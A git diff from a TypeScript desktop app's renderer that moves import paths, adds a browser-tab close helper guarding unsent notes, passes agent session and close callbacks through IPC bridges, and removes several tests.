         unifiedTabsByWorktree: {},
         closeBrowserTab: vi.fn(),
@@ -117,10 +118,10 @@ export async function useIpcEventsForCloseRouting({
     }
   }
 
-  vi.doMock('../store', () => appStoreModule)
-  vi.doMock('@/store', () => appStoreModule)
+  vi.doMock('../store/index', () => appStoreModule)
+  vi.doMock('@/store/index', () => appStoreModule)
 
-  vi.doMock('@/lib/ui-zoom', () => ({
+  vi.doMock('@/app-shell/chrome/ui-zoom', () => ({
     applyUIZoom: vi.fn()
   }))
   vi.doMock('@/lib/workspace/activation/worktree-activation', () => ({
@@ -136,7 +137,7 @@ export async function useIpcEventsForCloseRouting({
     UI_ZOOM_MIN: -3,
     UI_ZOOM_MAX: 3
   }))
-  vi.doMock('@/lib/zoom-events', () => ({
+  vi.doMock('@/app-shell/chrome/zoom-events', () => ({
     dispatchZoomLevelChanged: vi.fn()
   }))
   vi.doMock('@/lib/workspace/persistence/workspace-session-host-persistence', () => ({
diff --git a/src/renderer/src/hooks/ipc-events-test-harness.ts b/src/renderer/src/hooks/ipc-events-test-harness.ts
index c1528fbe3dc..75bd32bbbd7 100644
--- a/src/renderer/src/hooks/ipc-events-test-harness.ts
+++ b/src/renderer/src/hooks/ipc-events-test-harness.ts
@@ -1,9 +1,10 @@
 import { vi } from 'vitest'
 import type * as ReactModule from 'react'
-import type { HarnessStoreState } from './ipc-events-harness-store-state'
+
 import type { ClientHostedBrowserRowsEvent } from '../../../shared/client-hosted-browser-rows'
 
 import './ipc-events-harness-store-state'
+import type { HarnessStoreState } from './ipc-events-harness-store-state'
 
 export type CreateTerminalRequest = {
   requestId?: string
@@ -97,10 +98,10 @@ export async function loadIpcEventsHarness(
     const actual = await vi.importActual<typeof ReactModule>('react')
     return { ...actual, useEffect: (effect: () => void | (() => void)) => void effect() }
   })
-  vi.doMock('../store', () => ({
+  vi.doMock('../store/index', () => ({
     useAppStore: { subscribe: vi.fn(() => () => {}), getState: () => storeState }
   }))
-  vi.doMock('@/lib/ui-zoom', () => ({ applyUIZoom: vi.fn() }))
+  vi.doMock('@/app-shell/chrome/ui-zoom', () => ({ applyUIZoom: vi.fn() }))
   vi.doMock('../lib/workspace/activation/worktree-activation', () => ({
     activateAndRevealWorktree: vi.fn(),
     activateAndRevealWorkspace,
diff --git a/src/renderer/src/hooks/ipc-events/agent-status-listeners.ts b/src/renderer/src/hooks/ipc-events/agent-status-listeners.ts
index 5783ac2fd25..b3715cccbea 100644
--- a/src/renderer/src/hooks/ipc-events/agent-status-listeners.ts
+++ b/src/renderer/src/hooks/ipc-events/agent-status-listeners.ts
@@ -1,17 +1,20 @@
 import { CLOSE_TERMINAL_PANE_EVENT } from '@/constants/terminal'
+import {
+  resolveLegacyWorkerTerminalRecoveryAction,
+  rollbackLegacyWorkerTerminalSurfaceInStore
+} from '../legacy-worker-terminal-recovery-event'
+import { useAppStore } from '../../store/index'
+import {
+  forgetRefusedPaneResume,
+  namesRefusedResume
+} from '@/lib/agent-session/resume/forget-refused-pane-resume'
+import { resolveAgentPaneAuthorityKey } from '@/store/slices/agent-status/agent-pane-authority'
+import { resolvePaneKey } from '../../lib/agent-status/ownership/agent-status-pane-ownership'
 import type {
   AgentStatusClearIpcPayload,
   AgentStatusIpcPayload,
   RefusedPaneResume
 } from '../../../../shared/agent-status/contracts/agent-status-ipc-payload'
-import {
-  resolveLegacyWorkerTerminalRecoveryAction,
-  rollbackLegacyWorkerTerminalSurfaceInStore
-} from '../legacy-worker-terminal-recovery-event'
-import { useAppStore } from '../../store'
-import { forgetRefusedPaneResume, namesRefusedResume } from '@/lib/forget-refused-pane-resume'
-import { resolveAgentPaneAuthorityKey } from '@/store/slices/agent-status/agent-pane-authority'
-import { resolvePaneKey } from '../../lib/agent-status/ownership/agent-status-pane-ownership'
 import type { PendingAgentStatusEvent } from './agent-status-bridge-types'
 
 /** An already delivered event for the pane naming a refused conversation would restore it. */
diff --git a/src/renderer/src/hooks/ipc-events/app-lifetime-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/app-lifetime-ipc-bridge.ts
index 78e902a89dd..d711e1eb04c 100644
--- a/src/renderer/src/hooks/ipc-events/app-lifetime-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/app-lifetime-ipc-bridge.ts
@@ -2,11 +2,11 @@ import { observeJiraImageHostStatus } from '@/runtime/jira/runtime-jira-image-ca
 import { observeRuntimeHostStatusForPendingRemovals } from '@/store/repos/pending-runtime-repo-removal-replay'
 import type { RuntimeHostStatusSnapshot } from '../../../../shared/remote-runtime/host-status/runtime-host-status'
 import { getTabIdsAwaitingHostHydrationRemount } from '@/components/terminal-pane/mounting/parked-terminal-host-hydration'
-import { emitAutomationsChangedWindowEvent } from '@/lib/automations-changed-window-event'
+import { emitAutomationsChangedWindowEvent } from '@/components/automations/events/automations-changed-window-event'
 import { createBackgroundSleepingAgentWakeDispatcher } from '@/lib/agent-session/resume/wake-sleeping-agents-in-background'
 import { remoteRuntimeTerminalColorPush } from '@/runtime/hosted-terminals/streams/remote-runtime-terminal-color-push'
 import { resetAgentHookCompletionNotificationCoordinators } from '../agent-hook-completion-notifications'
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import { registerAgentStatusIpcBridge } from './agent-status-ipc-bridge'
 import { registerBackgroundWorktreeRemovalBridge } from './background-worktree-removal-bridge'
 import {
diff --git a/src/renderer/src/hooks/ipc-events/browser-remote-viewer-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/browser-remote-viewer-ipc-bridge.ts
index ae7ba339e31..e2143e0b8ed 100644
--- a/src/renderer/src/hooks/ipc-events/browser-remote-viewer-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/browser-remote-viewer-ipc-bridge.ts
@@ -1,7 +1,7 @@
 import {
   hydrateBrowserRemoteViewerPages,
   setRemoteViewersForBrowserPage
-} from '../../lib/pane-manager/browser-remote-viewer-store'
+} from '../../runtime/browser/ownership/browser-remote-viewer-store'
 
 /** Local guests also render remote workspaces, so their viewer state follows this desktop's IPC. */
 export function registerBrowserRemoteViewerIpcBridge(): () => void {
diff --git a/src/renderer/src/hooks/ipc-events/browser-request-ipc-bridge.owner.test.ts b/src/renderer/src/hooks/ipc-events/browser-request-ipc-bridge.owner.test.ts
index f5f0472978f..a2746473191 100644
--- a/src/renderer/src/hooks/ipc-events/browser-request-ipc-bridge.owner.test.ts
+++ b/src/renderer/src/hooks/ipc-events/browser-request-ipc-bridge.owner.test.ts
@@ -73,6 +73,7 @@ function storeState(activeWorktreeId: string) {
       [LOCAL_WT]: [{ id: 'ws-local' }],
       [REMOTE_WT]: [{ id: 'ws-remote' }]
     },
+    browserAnnotationsByPageId: {},
     browserPagesByWorkspace: {
       'ws-local': [{ id: 'page-local' }],
       'ws-remote': [{ id: 'page-remote' }]
diff --git a/src/renderer/src/hooks/ipc-events/browser-request-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/browser-request-ipc-bridge.ts
index 2d0091898c9..081cb621ee5 100644
--- a/src/renderer/src/hooks/ipc-events/browser-request-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/browser-request-ipc-bridge.ts
@@ -1,10 +1,6 @@
 import { destroyPersistentWebview } from '@/components/browser-pane/host-guest/webview-registry'
-import {
-  guardPinnedTabClose,
-  isUnifiedTabPinned,
-  resolvePinnedTabLabel
-} from '../../store/slices/tabs/closing/pinned-tab-close-guard'
 import { translate } from '@/i18n/i18n'
+import { closeBrowserTabWithReply } from './browser-tab-close-with-reply'
 import { useAppStore } from '../../store'
 import { acquireBrowserAutomationBootstrapLease } from './browser-automation-bootstrap-lease'
 import {
@@ -209,28 +205,8 @@ export function registerBrowserRequestIpcBridge(unsubs: (() => void)[]): void {
             )
           })
         }
-        const replyPinnedBrowserCloseCanceled = (tabId: string): void => {
-          window.api.ui.replyTabClose({
-            requestId: data.requestId,
-            error: translate(
-              'auto.hooks.useIpcEvents.2f6637fe6c',
-              'Browser tab {{value0}} is pinned',
-              { value0: tabId }
-            )
-          })
-        }
-        const closeBrowserWorkspaceWithReply = (worktreeId: string, workspaceId: string): void => {
-          const currentStore = useAppStore.getState()
-          guardPinnedTabClose({
-            isPinned: isUnifiedTabPinned(currentStore, worktreeId, workspaceId),
-            tabLabel: resolvePinnedTabLabel(currentStore, worktreeId, workspaceId),
-            onClose: () => {
-              useAppStore.getState().closeBrowserTab(workspaceId)
-              window.api.ui.replyTabClose({ requestId: data.requestId })
-            },
-            onCancel: () => replyPinnedBrowserCloseCanceled(workspaceId)
-          })
-        }
+        const closeWithReply = (worktreeId: string, workspaceId: string, pageId?: string): void =>
+          closeBrowserTabWithReply({ requestId: data.requestId, worktreeId, workspaceId, pageId })
         const tabToClose =
           explicitTargetId ??
           (data.worktreeId
@@ -273,11 +249,15 @@ export function registerBrowserRequestIpcBridge(unsubs: (() => void)[]): void {
               replyBrowserTabNotFound(tabToClose)
               return
             }
+            if (owningWorktreeId) {
+              closeWithReply(
+                owningWorktreeId,
+                workspaceId,
+                pages.length > 1 ? tabToClose : undefined
+              )
+              return
+            }
             if (pages.length <= 1) {
-              if (owningWorktreeId) {
-                closeBrowserWorkspaceWithReply(owningWorktreeId, workspaceId)
-                return
-              }
               store.closeBrowserTab(workspaceId)
             } else {
               store.closeBrowserPage(tabToClose)
@@ -295,7 +275,7 @@ export function registerBrowserRequestIpcBridge(unsubs: (() => void)[]): void {
             replyBrowserTabNotFound(tabToClose)
             return
           }
-          closeBrowserWorkspaceWithReply(owningWorktreeId, tabToClose)
+          closeWithReply(owningWorktreeId, tabToClose)
           return
         }
         if (explicitTargetId) {
diff --git a/src/renderer/src/hooks/ipc-events/browser-state-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/browser-state-ipc-bridge.ts
index 4efa5d36310..a2158cb750c 100644
--- a/src/renderer/src/hooks/ipc-events/browser-state-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/browser-state-ipc-bridge.ts
@@ -164,8 +164,14 @@ export function registerBrowserStateIpcBridge(
   // Why: the bootstrap lease is fixed at creation; an agent's page in a hidden worktree must keep drawing while it drives it.
   const agentActivityPaintHolds = createMainOwnedPaintHolds()
   const unsubscribeAgentActivity = window.api.browser.onAgentActivity?.(
-    ({ browserPageId, worktreeId, active, controllerHostLabel }) => {
-      setBrowserAgentPageActive(browserPageId, active, worktreeId, controllerHostLabel)
+    ({ browserPageId, worktreeId, active, controllerHostLabel, agentSessionId }) => {
+      setBrowserAgentPageActive(
+        browserPageId,
+        active,
+        worktreeId,
+        controllerHostLabel,
+        agentSessionId
+      )
       agentActivityPaintHolds.set(browserPageId, active)
     }
   )
diff --git a/src/renderer/src/hooks/ipc-events/browser-tab-close-with-reply.ts b/src/renderer/src/hooks/ipc-events/browser-tab-close-with-reply.ts
new file mode 100644
index 00000000000..70763f66f00
--- /dev/null
+++ b/src/renderer/src/hooks/ipc-events/browser-tab-close-with-reply.ts
@@ -0,0 +1,52 @@
+import { translate } from '@/i18n/i18n'
+import { useAppStore } from '../../store'
+import { hasUnsentBrowserNotes } from '@/store/slices/browser/annotations/browser-page-annotation'
+import {
+  guardPinnedTabClose,
+  isUnifiedTabPinned,
+  resolvePinnedTabLabel
+} from '../../store/slices/tabs/closing/pinned-tab-close-guard'
+
+/** Closes a browser tab, or one page of it, for a CLI or extension request once the user allows it, then replies to main. */
+export function closeBrowserTabWithReply(params: {
+  requestId: string
+  worktreeId: string
+  workspaceId: string
+  /** Closes only this page, so the tab's pin does not guard it; its notes do. */
+  pageId?: string
+}): void {
+  const { requestId, worktreeId, workspaceId, pageId } = params
+  const state = useAppStore.getState()
+  const unsentNotes = pageId
+    ? (state.browserAnnotationsByPageId[pageId]?.length ?? 0) > 0
+    : hasUnsentBrowserNotes(state, workspaceId)
+  const closedId = pageId ?? workspaceId
+  guardPinnedTabClose({
+    isPinned: !pageId && isUnifiedTabPinned(state, worktreeId, workspaceId),
+    tabLabel: resolvePinnedTabLabel(state, worktreeId, workspaceId),
+    onClose: () => {
+      const latest = useAppStore.getState()
+      // Siblings may have closed while the prompt was open; the last page closes its tab.
+      if (pageId && (latest.browserPagesByWorkspace[workspaceId]?.length ?? 0) > 1) {
+        latest.closeBrowserPage(pageId)
+      } else {
+        latest.closeBrowserTab(workspaceId)
+      }
+      window.api.ui.replyTabClose({ requestId })
+    },
+    onCancel: () =>
+      window.api.ui.replyTabClose({
+        requestId,
+        error: unsentNotes
+          ? translate(
+              'auto.hooks.useIpcEvents.unsent_notes_close_canceled',
+              'Browser tab {{value0}} has unsent notes, and the user kept it open',
+              { value0: closedId }
+            )
+          : translate('auto.hooks.useIpcEvents.2f6637fe6c', 'Browser tab {{value0}} is pinned', {
+              value0: closedId
+            })
+      }),
+    unsentNotes
+  })
+}
diff --git a/src/renderer/src/hooks/ipc-events/direct-ssh-hydration-target-metadata.test.ts b/src/renderer/src/hooks/ipc-events/direct-ssh-hydration-target-metadata.test.ts
index 2cf0f4feb28..4d6b3c53b9a 100644
--- a/src/renderer/src/hooks/ipc-events/direct-ssh-hydration-target-metadata.test.ts
+++ b/src/renderer/src/hooks/ipc-events/direct-ssh-hydration-target-metadata.test.ts
@@ -1,12 +1,9 @@
 import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { useAppStore } from '@/store'
-import {
-  selectRuntimeAwareSshTargetLabel,
-  selectRuntimeAwareSshTargetRemoved
-} from '@/store/slices/ssh/runtime-environment-ssh-selectors'
-import type { SshConnectionState } from '../../../../shared/ssh-types'
+import { useAppStore } from '@/store/index'
+import { selectRuntimeAwareSshTargetRemoved } from '@/store/slices/ssh/runtime-environment-ssh-selectors'
 import { registerDirectSshStateIpcBridge } from './direct-ssh-state-ipc-bridge'
-import { resetSshConfigPassiveSyncForTests } from '../../lib/ssh-config-passive-sync'
+import { resetSshConfigPassiveSyncForTests } from '../../runtime/hosts/ssh/ssh-config-passive-sync'
+import type { SshConnectionState } from '../../../../shared/ssh-types'
 
 type SshApiStub = {
   importConfig?: () => Promise<{
@@ -78,35 +75,6 @@ describe('direct SSH hydration target metadata', () => {
     vi.restoreAllMocks()
   })
 
-  it('lands live target labels while the removed-labels round trip is still in flight', async () => {
-    let listTargetsCalls = 0
-    stubWindow({
-      listTargets: () => {
-        listTargetsCalls += 1
-        return Promise.resolve([{ id: 'ssh-live', label: 'devbox' }])
-      },
-      listRemovedTargetLabels: () => new Promise(() => {}),
-      getState: () => Promise.resolve(connectingState('ssh-live'))
-    })
-
-    unsubs.push(registerDirectSshStateIpcBridge(unsubs))
-    await settle()
-
-    expect({
-      label: selectRuntimeAwareSshTargetLabel(useAppStore.getState(), null, 'ssh-live'),
-      status: useAppStore.getState().sshConnectionStates.get('ssh-live')?.status
-    }).toEqual({ label: 'devbox', status: 'connecting' })
-
-    // Known-target pushes bypass lookups on an already-unresponsive link.
-    listTargetsCalls = 0
-    onStateChangedHandler?.({ targetId: 'ssh-live', state: connectingState('ssh-live') })
-    await settle()
-    expect({
-      listTargetsCalls,
-      status: useAppStore.getState().sshConnectionStates.get('ssh-live')?.status
-    }).toEqual({ listTargetsCalls: 0, status: 'connecting' })
-  })
-
   it('keeps the target list and records the failure when removed labels are unavailable', async () => {
     const warn = vi.spyOn(console, 'warn').mockImplementation(() => {})
     stubWindow({
diff --git a/src/renderer/src/hooks/ipc-events/direct-ssh-state-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/direct-ssh-state-ipc-bridge.ts
index db03f003195..efd4e3bb513 100644
--- a/src/renderer/src/hooks/ipc-events/direct-ssh-state-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/direct-ssh-state-ipc-bridge.ts
@@ -1,15 +1,13 @@
 import { canConnectSshStatus } from '@/ssh/ssh-connection-recoverability'
-import type { DirectSshAuthority, SshConnectionState } from '../../../../shared/ssh-types'
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import { directSshAuthoritiesEqual } from '../../store/slices/worktrees/listing/direct-ssh-authority'
-import {
-  directSshAuthorityFromConnectionState,
-  type DirectSshConnectedStateOrigin
-} from '../direct-ssh-state-routing'
+import { directSshAuthorityFromConnectionState } from '../direct-ssh-state-routing'
+import type { DirectSshConnectedStateOrigin } from '../direct-ssh-state-routing'
 import { hydrateDirectSshInitialState } from './direct-ssh-initial-state-hydration'
-import { syncSshConfigTargetsPassively } from '../../lib/ssh-config-passive-sync'
+import { syncSshConfigTargetsPassively } from '../../runtime/hosts/ssh/ssh-config-passive-sync'
 import { applySshManagedServerTransition } from './ssh-managed-server-state-effects'
 import { createDirectSshUnrestoredForwardSync } from './direct-ssh-unrestored-forward-sync'
+import type { DirectSshAuthority, SshConnectionState } from '../../../../shared/ssh-types'
 
 type AuthorityDeadline = { timer: ReturnType<typeof setTimeout>; settle: () => void }
 
diff --git a/src/renderer/src/hooks/ipc-events/mobile-driver-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/mobile-driver-ipc-bridge.ts
index 57460110218..1a2e227f7fe 100644
--- a/src/renderer/src/hooks/ipc-events/mobile-driver-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/mobile-driver-ipc-bridge.ts
@@ -1,15 +1,18 @@
 import {
   hydrateBrowserDrivers,
   setDriverForBrowserPage
-} from '@/lib/pane-manager/browser-mobile-driver-state'
+} from '@/runtime/browser/ownership/browser-mobile-driver-state'
 import { registerBrowserRemoteViewerIpcBridge } from './browser-remote-viewer-ipc-bridge'
 import {
   applyClientHostedBrowserRows,
   hydrateClientHostedBrowserRows
-} from '@/lib/pane-manager/client-hosted-browser-row-state'
+} from '@/runtime/browser/client-hosting/client-hosted-browser-row-state'
 import type { ClientHostedBrowserRowsEvent } from '../../../../shared/client-hosted-browser-rows'
 import { setDriverForPty, hydrateDrivers } from '@/lib/pane-manager/mobile-driver-state'
-import { setFitOverride, hydrateOverrides } from '@/lib/pane-manager/mobile-fit-overrides'
+import {
+  setFitOverride,
+  hydrateOverrides
+} from '@/lib/pane-manager/terminal-fit/mobile-fit-overrides'
 import { applyNativeChatLaunchDraftResolved } from '@/runtime/native-chat/launch-drafts/native-chat-launch-draft-runtime-resolution'
 import type { RuntimeTerminalDriverState } from '../../../../shared/runtime-session-contracts'
 import { useAppStore } from '../../store/index'
diff --git a/src/renderer/src/hooks/ipc-events/project-catalog-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/project-catalog-ipc-bridge.ts
index bb8c5e32b3f..8981c5646f4 100644
--- a/src/renderer/src/hooks/ipc-events/project-catalog-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/project-catalog-ipc-bridge.ts
@@ -1,3 +1,4 @@
+import { applyLocalWorktreeMetadataSet } from './worktree-metadata-set-events'
 import { applyWorktreeHeadIdentities } from '../worktree-head-identity-apply'
 import type { WorktreeChangeRefreshQueue } from '../worktree-change-refresh-queue'
 import { useAppStore } from '../../store'
@@ -46,6 +47,10 @@ export function registerProjectCatalogIpcBridge(
     )
   )
 
+  if (window.api.worktrees.onMetadataSet) {
+    unsubs.push(window.api.worktrees.onMetadataSet(applyLocalWorktreeMetadataSet))
+  }
+
   if (window.api.worktrees.onHeadIdentitiesChanged) {
     unsubs.push(
       window.api.worktrees.onHeadIdentitiesChanged((data) => {
diff --git a/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts
index 0c27790b452..3531d02b757 100644
--- a/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/runtime-client-ipc-bridge.ts
@@ -1,8 +1,8 @@
 import '@/store/slices/linear/linear-issue-read'
 import { consumeLinearIssueRead } from '@/store/slices/linear/linear-issue-read-lifecycle'
-import { applyHostWorktreeTerminalSleepState } from '@/components/terminal-pane/pty-transport/shutdown/pty-shutdown-exit-deferral'
 import { dispatchTerminalSideEffectBatch } from '@/components/terminal-pane/pty-transport/output/terminal-side-effect-facts-handler'
-import { emitAutomationsChangedWindowEvent } from '@/lib/automations-changed-window-event'
+import { emitAutomationsChangedWindowEvent } from '@/components/automations/events/automations-changed-window-event'
+import { applyHostWorkspaceRowEvent } from './worktree-metadata-set-events'
 import { applyNativeChatLaunchDraftResolved } from '@/runtime/native-chat/launch-drafts/native-chat-launch-draft-runtime-resolution'
 import { getRuntimeEnvironmentRevision } from '@/runtime/rpc/environment-revisions/runtime-environment-revision'
 import {
@@ -22,7 +22,7 @@ import { getRuntimeEnvironmentConnectionGeneration } from '@/store/slices/runtim
 import { getRepoExecutionHostId, toRuntimeExecutionHostId } from '../../../../shared/execution-host'
 import type { RuntimeClientEvent } from '../../../../shared/runtime-client-events'
 import { navigationTargetsClients } from '../../../../shared/runtime-navigation'
-import { useAppStore } from '../../store'
+import { useAppStore } from '../../store/index'
 import { invalidateRemoteWorktreeLineage } from '../../store/slices/worktrees/metadata/worktree-lineage-readiness'
 import {
   adoptFromEndpoint,
@@ -111,8 +111,7 @@ export function registerRuntimeClientIpcBridge(
         )
       return
     }
-    if (event.type === 'worktreeTerminalSleepState') {
-      applyHostWorktreeTerminalSleepState(environmentId, event)
+    if (applyHostWorkspaceRowEvent(environmentId, event)) {
       return
     }
     if (event.type === 'terminalSideEffects') {
@@ -237,7 +236,7 @@ export function registerRuntimeClientIpcBridge(
   const runtimeClientEventsSync = createRuntimeClientEventsSync({
     getDesiredEnvironmentIds: () => getRuntimeClientEventEnvironmentIds(useAppStore.getState()),
     getSubscriptionKey: (environmentId) => buildRuntimeClientEventEnvironmentKey([environmentId]),
-    subscribe: (environmentId, onEvent, onError, isCurrent) => {
+    subscribe: (environmentId, onEvent, onError, isCurrent, onClose) => {
       const sshGeneration = getEnvironmentSshStateGeneration(environmentId)
       const runtimeGeneration = getRuntimeEnvironmentConnectionGeneration(environmentId)
       const runtimeRevision = getRuntimeEnvironmentRevision(environmentId)
@@ -272,10 +271,10 @@ export function registerRuntimeClientIpcBridge(
               useAppStore.getState().markEnvironmentSshStateStale(environmentId),
             hydrateEnvironmentSshState: () =>
               hydrateRuntimeEnvironmentSshState(environmentId, { force: true }),
-            sync: runtimeClientEventsSync.sync
+            sync: () => runtimeClientEventsSync.sync([environmentId])
           })
         },
-        { hostsBrowserPages: hostsBrowserPagesFor(environmentId) }
+        { hostsBrowserPages: hostsBrowserPagesFor(environmentId), onClose }
       )
       return subscription
     },
diff --git a/src/renderer/src/hooks/ipc-events/runtime-environment-subscription-selection.ts b/src/renderer/src/hooks/ipc-events/runtime-environment-subscription-selection.ts
index e0737cbd63d..6d435008018 100644
--- a/src/renderer/src/hooks/ipc-events/runtime-environment-subscription-selection.ts
+++ b/src/renderer/src/hooks/ipc-events/runtime-environment-subscription-selection.ts
@@ -111,7 +111,7 @@ type RuntimeEnvironmentStoreSyncSubscriberDeps = {
   getReachableEnvironmentIds: (state: RuntimeEnvironmentStoreSyncState) => string[]
   requestProjectRefresh: (environmentId: string) => void
   markEnvironmentSshStateStale: (environmentId: string) => void
-  sync: () => void
+  sync: (recoveryEnvironmentIds?: readonly string[]) => void
 }
 
 export type RuntimeEnvironmentStoreSyncSubscriber = (
@@ -170,7 +170,7 @@ export function createRuntimeEnvironmentStoreSyncSubscriber(
       }
       desiredEnvironmentKey = nextDesiredEnvironmentKey
       reachableEnvironmentKey = nextReachableEnvironmentKey
-      deps.sync()
+      deps.sync(refreshEnvironmentIds)
     } finally {
       handlingStoreWrite = false
     }
diff --git a/src/renderer/src/hooks/ipc-events/runtime-file-position.test.ts b/src/renderer/src/hooks/ipc-events/runtime-file-position.test.ts
index db849dfe897..12c8f4b80b8 100644
--- a/src/renderer/src/hooks/ipc-events/runtime-file-position.test.ts
+++ b/src/renderer/src/hooks/ipc-events/runtime-file-position.test.ts
@@ -92,39 +92,6 @@ function focus(surface: 'main' | 'floating'): void {
   document.getElementById(surface)?.focus()
 }
 
-it('waits for an asynchronously revealed floating panel', async () => {
-  const { store, fileId, position } = await setup(false)
-  position(fileId, { line: 300, column: 7 }, true)
-  flushFrames()
-  expect(store.getState().pendingEditorReveal).toBeNull()
-  store.setState({ floatingWorkspacePanelOpen: true })
-  flushFrames()
-  expect(store.getState().pendingEditorReveal).toMatchObject({ fileId, line: 300, column: 7 })
-})
-
-it('keeps a background floating position deferred until the panel owns keyboard input', async () => {
-  const { store, fileId, position } = await setup()
-  focus('main')
-  position(fileId, { line: 17 }, false)
-  flushFrames()
-  expect(store.getState().pendingEditorReveal).toBeNull()
-  focus('floating')
-  flushFrames()
-  expect(store.getState().pendingEditorReveal).toMatchObject({ fileId, line: 17 })
-})
-
-it('does not publish after keyboard input moves from the panel to the main surface', async () => {
-  const { store, fileId, position } = await setup()
-  focus('floating')
-  position(fileId, { line: 17 }, true)
-  focus('main')
-  flushFrames()
-  expect(store.getState().pendingEditorReveal).toBeNull()
-  focus('floating')
-  flushFrames()
-  expect(store.getState().pendingEditorReveal).toMatchObject({ fileId, line: 17 })
-})
-
 it('cancels a published reveal after an outside click even if DOM focus does not change', async () => {
   const { store, fileId, position } = await setup()
   focus('main')
@@ -146,35 +113,6 @@ it('does not reclaim input when an asynchronously revealed panel opens after an
   expect(store.getState().pendingEditorReveal).toBeNull()
 })
 
-it('invalidates a published floating reveal when the panel closes or is disabled', async () => {
-  const { store, fileId, position } = await setup()
-  position(fileId, { line: 17 }, true)
-  flushFrames()
-  const reveal = store.getState().pendingEditorReveal
-  expect(reveal?.canApply?.()).toBe(true)
-  store.setState({ floatingWorkspacePanelOpen: false })
-  expect(reveal?.canApply?.()).toBe(false)
-  store.setState({ floatingWorkspacePanelOpen: true })
-  const settings = store.getState().settings
-  if (!settings) {
-    throw new Error('Settings missing')
-  }
-  store.setState({ settings: { ...settings, floatingTerminalEnabled: false } })
-  expect(reveal?.canApply?.()).toBe(false)
-})
-
-it('keeps floating input ownership independent of an unrelated main workspace selection', async () => {
-  const { store, fileId, position } = await setup()
-  focus('floating')
-  position(fileId, { line: 300, column: 7 }, true)
-  flushFrames()
-  const reveal = store.getState().pendingEditorReveal
-  expect(reveal?.canApply?.()).toBe(true)
-  store.setState({ activeWorktreeId: 'other-main-workspace' })
-  expect(document.activeElement?.id).toBe('floating')
-  expect(reveal?.canApply?.()).toBe(true)
-})
-
 it('scopes the floating reveal to its selected split pane', async () => {
   const { store, fileId, position } = await setup()
   const tab = store.getState().getActiveTab(FLOATING)
@@ -199,15 +137,3 @@ it('scopes the floating reveal to its selected split pane', async () => {
   store.getState().focusGroup(FLOATING, siblingGroupId)
   expect(reveal?.canApply?.()).toBe(false)
 })
-
-it('disposes floating DOM listeners and invalidates an already published reveal', async () => {
-  const { store, fileId, position } = await setup()
-  position(fileId, { line: 17 }, true)
-  flushFrames()
-  const reveal = store.getState().pendingEditorReveal
-  unsubs.forEach((unsubscribe) => unsubscribe())
-  expect(reveal?.canApply?.()).toBe(false)
-  focus('floating')
-  flushFrames()
-  expect(store.getState().pendingEditorReveal).toBe(reveal)
-})
diff --git a/src/renderer/src/hooks/ipc-events/session-tab-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/session-tab-ipc-bridge.ts
index 4db9523b95e..f5d8dd8fa29 100644
--- a/src/renderer/src/hooks/ipc-events/session-tab-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/session-tab-ipc-bridge.ts
@@ -1,3 +1,4 @@
+import { hasUnsentBrowserNotes } from '@/store/slices/browser/annotations/browser-page-annotation'
 import { isLocalSessionTabCloseOwned } from '@/runtime/web-session-tabs-sync/closing/local-session-tab-close-owner'
 import { closeMobileSessionTabInStore } from '@/runtime/web-session-tabs-sync/closing/mobile-session-tab-close'
 import {
@@ -35,7 +36,8 @@ export function registerSessionTabIpcBridge(unsubs: (() => void)[]): void {
         guardPinnedTabClose({
           isPinned: isUnifiedTabPinned(store, worktreeId, browserTarget.workspaceId),
           tabLabel: resolvePinnedTabLabel(store, worktreeId, browserTarget.workspaceId),
-          onClose: () => useAppStore.getState().closeBrowserTab(browserTarget.workspaceId)
+          onClose: () => useAppStore.getState().closeBrowserTab(browserTarget.workspaceId),
+          unsentNotes: hasUnsentBrowserNotes(store, browserTarget.workspaceId)
         })
         return
       }
@@ -111,7 +113,8 @@ export function registerSessionTabIpcBridge(unsubs: (() => void)[]): void {
         isPinned: isUnifiedTabPinned(store, worktreeId, visibleId),
         tabLabel: resolvePinnedTabLabel(store, worktreeId, visibleId),
         onClose: closeAndRespond,
-        onCancel: () => respond(SESSION_TAB_CLOSE_CANCELED_ERROR)
+        onCancel: () => respond(SESSION_TAB_CLOSE_CANCELED_ERROR),
+        unsentNotes: browserTarget ? hasUnsentBrowserNotes(store, browserTarget.workspaceId) : false
       })
     })
   )
diff --git a/src/renderer/src/hooks/ipc-events/settings-sidebar-ipc-bridge.ts b/src/renderer/src/hooks/ipc-events/settings-sidebar-ipc-bridge.ts
index df79e3793e3..a054190716e 100644
--- a/src/renderer/src/hooks/ipc-events/settings-sidebar-ipc-bridge.ts
+++ b/src/renderer/src/hooks/ipc-events/settings-sidebar-ipc-bridge.ts
@@ -1,11 +1,11 @@
-import { canToggleRightSidebar } from '@/lib/right-sidebar-visibility'
-import { runBuiltInOrReplacement } from '@/lib/plugin-command-replacements'
-import { showTerminalShortcutCaptureNotification } from '@/lib/terminal-shortcut-capture-notification'
+import { canShowRightSidebarForView } from '@/components/right-sidebar/visibility/right-sidebar-visibility'
+import { runBuiltInOrReplacement } from '@/lib/plugins/commands/plugin-command-replacements'
+import { showTerminalShortcutCaptureNotification } from '@/lib/notifications/terminal-shortcut-capture-notification'
 import { TOGGLE_FLOATING_TERMINAL_EVENT } from '@/components/floating-terminal/floating-terminal'
